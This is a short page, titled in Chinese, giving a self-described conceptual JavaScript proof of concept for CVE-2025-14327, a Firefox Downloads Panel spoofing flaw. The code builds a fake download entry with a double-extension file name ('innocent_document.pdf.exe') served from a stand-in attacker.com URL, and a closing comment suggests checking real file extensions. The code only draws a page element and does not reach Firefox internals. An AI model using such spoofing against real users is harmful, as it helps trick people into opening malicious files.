CVE-2025-14327 Firefox Downloads Panel界面欺骗漏洞

// CVE-2025-14327 PoC - Downloads Panel Spoofing // This is a conceptual PoC demonstrating the spoofing vulnerability // Note: Actual exploitation requires specific Firefox/Thunderbird versions const spoofedDownload = { fileName: 'innocent_document.pdf.exe', // Display different from actual fileSize: '1.2 MB', sourceUrl: 'https://attacker.com/legitimate-looking-url', mimeType: 'application/x-msdownload', // Actual malicious payload could be delivered maliciousPayload: true }; // Simulate spoofed download entry injection function exploitDownloadsPanel() { // Attack vector: Manipulate download information display const downloadEntry = document.createElement('div'); downloadEntry.innerHTML = ` <span class="filename">${spoofedDownload.fileName}</span> <span class="source">${spoofedDownload.sourceUrl}</span> <span class="size">${spoofedDownload.fileSize}</span> `; // This could trick users into opening malicious files console.log('Spoofed download entry created'); return downloadEntry; } // Mitigation: Users should always check actual file extensions // and verify downloads through system file manager